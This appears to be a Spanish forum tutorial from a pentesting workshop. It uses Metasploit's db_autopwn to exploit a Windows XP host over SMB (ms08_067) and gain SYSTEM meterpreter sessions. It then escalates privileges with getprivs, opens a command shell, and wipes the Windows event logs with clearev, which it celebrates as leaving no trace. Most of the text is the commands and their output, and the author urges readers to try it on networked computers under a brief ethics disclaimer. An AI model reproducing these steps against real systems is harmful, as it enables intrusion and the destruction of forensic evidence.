+Eligiendo el mejor autopwn+Temario
-+Eligiendo el mejor autopwn
-+Lanzando autopwn por primera vez
-+Usando getprivs
-+Lanzando shell
-+Usando clearev
-+Conclusion
- Bueno vemos las opcionesy definitivo el -t nos sirve para encontrar
modulos exploit compatibles.-p tambien por que se basa en los puertos
abiertos.-e tambien por que lanza de nuevo los exploits para todos
los targets que coensiden.-b tambien por que nos da un blind shell
Bueno ustedes agan sus tipos de ataques al gusto ya saben como ver
para que sirve cada funcion.
- Bueno ya estamos listos nos les tirare mas rollo por que se
que esta anciosos por hacerlo por primera vez y ver que arroga
ahora vamos a la shell y tecleamos:
Código: Seleccionar todo
msf > db_autopwn -t -p -e -s -b
Código: Seleccionar todo
[*] (5/49 [0 sessions]): Launching exploit/windows/smb/timbuktu_plughntcommand_bof against 192.168.1.102:445...
lleba lanzados y si tiene sesiones hasta el momento y lo que esperamos
es que tenga sessiones esperamos a que termine el scan y pasar algo como esto
alfinal obvio cada caso sera distinto dependiendo que vulnerabilidad tenga cada pc
Código: Seleccionar todo
[*] (49/49 [0 sessions]): Waiting on 7 launched modules to finish execution...
[*] (49/49 [0 sessions]): Waiting on 7 launched modules to finish execution...
[*] (49/49 [0 sessions]): Waiting on 7 launched modules to finish execution...
[*] (49/49 [0 sessions]): Waiting on 7 launched modules to finish execution...
[*] (49/49 [0 sessions]): Waiting on 7 launched modules to finish execution...
[*] (49/49 [0 sessions]): Waiting on 7 launched modules to finish execution...
[*] (49/49 [0 sessions]): Waiting on 7 launched modules to finish execution...
[*] Meterpreter session 1 opened (192.168.1.108:48817 -> 192.168.1.102:32876) at Thu Jul 22 02:36:44 -0500 2010
[*] (49/49 [1 sessions]): Waiting on 7 launched modules to finish execution...
[*] Meterpreter session 2 opened (192.168.1.108:60917 -> 192.168.1.102:39655) at Thu Jul 22 02:36:46 -0500 2010
[*] (49/49 [2 sessions]): Waiting on 7 launched modules to finish execution...
[*] (49/49 [2 sessions]): Waiting on 2 launched modules to finish execution...
[*] (49/49 [2 sessions]): Waiting on 1 launched modules to finish execution...
[*] (49/49 [2 sessions]): Waiting on 1 launched modules to finish execution...
[*] (49/49 [2 sessions]): Waiting on 1 launched modules to finish execution...
[*] (49/49 [2 sessions]): Waiting on 1 launched modules to finish execution...
[*] (49/49 [2 sessions]): Waiting on 1 launched modules to finish execution...
[*] (49/49 [2 sessions]): Waiting on 1 launched modules to finish execution...
[*] (49/49 [2 sessions]): Waiting on 0 launched modules to finish execution...
[*] The autopwn command has completed with 2 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================
Active sessions
===============
Id Type Information Connection Via
-- ---- ----------- ---------- ---
1 meterpreter NT AUTHORITY\SYSTEM @ ADMIN_IBM 192.168.1.108:48817 -> 192.168.1.102:32876 exploit/windows/smb/ms08_067_netapi
2 meterpreter NT AUTHORITY\SYSTEM @ ADMIN_IBM 192.168.1.108:60917 -> 192.168.1.102:39655 exploit/windows/smb/ms08_067_netapi
[*] ================================================================================
msf >
- Bueno esto es el log de casi la final de el scan
y vemos que nos arroja dos sesiones meterpreter la
mas divertida jejeje tiene muchas funciones
y despues de esto pues ya estamos listo para
lanzar el exploit y vamos a darle en mi caso
REPITO en mi caso:
Código: Seleccionar todo
msf > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
- Ok analizemos esto
sessions: indicamos que hablamos de la sesssiones
-i: para indicar que activaremos la session
1: el numero de la session
Y ahora que te vaz a preguntar pues daremos "help"
en la shell para ver los comando
Código: Seleccionar todo
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
del Delete the specified file
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getpid Get the current process identifier
getprivs Get as many privileges as possible
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
meterpreter >
- Estos son todos los comandos que tenemos disponible en meterpreter
y bueno desde aqui usaremos algunos truqillos para divertirnos mas
Bueno usaremos (' getprivs ') este nos sirve para obtener los mayores
privilegios posibles.
Código: Seleccionar todo
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
SeDebugPrivilege
SeTcbPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
meterpreter >
- Y nos arroja la lista de privilegios que obtuvimos jejej
- Bien ahora ya basta de juegitos y lansemos un shell para esto vamos
a la shell y escribimos
Código: Seleccionar todo
meterpreter > shell
Process 2832 created.
Channel 1 created.
Microsoft Windows XP [Versi?n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
- Muajajajajaja y estamos dentro chicos
muajajajaj, muajaja, muajajaja juju perdon me borta
la maldad jejeje y desde la shell podremos hacer
lo que queramos
- Bueno para mi este es uno de los mas importantes
puesto que esto es seguridad informatica
entonces el comando clearev nos ayuda mucho ya que
borra todos los posibles logs que dejemos en el pc
que pentesteamos jejej ok vamos a la shell:
Código: Seleccionar todo
C:\WINDOWS\system32>exit
meterpreter > clearev
[*] Wiping 19 records from Application...
[*] Wiping 198 records from System...
[*] Wiping 1 records from Security...
meterpreter >
- Y quedamos libres de rastros jejeje
- Y bueno ahora si hasta aqui ya termine la segunda parte del pentest
ya estamos bastante adelantados en base a esto traten de hacer
sus propios pentest a ordenadores que tengan en red
y sera muy divertido porfavor señores
FINES ETICOS!Nada de andar de lammers ni tonterias
espero les aya gustado esperen la 3 parte de este taller
y pronto posteo los videos tutoriales de respectivas partes Saludos de su amiga shiva!
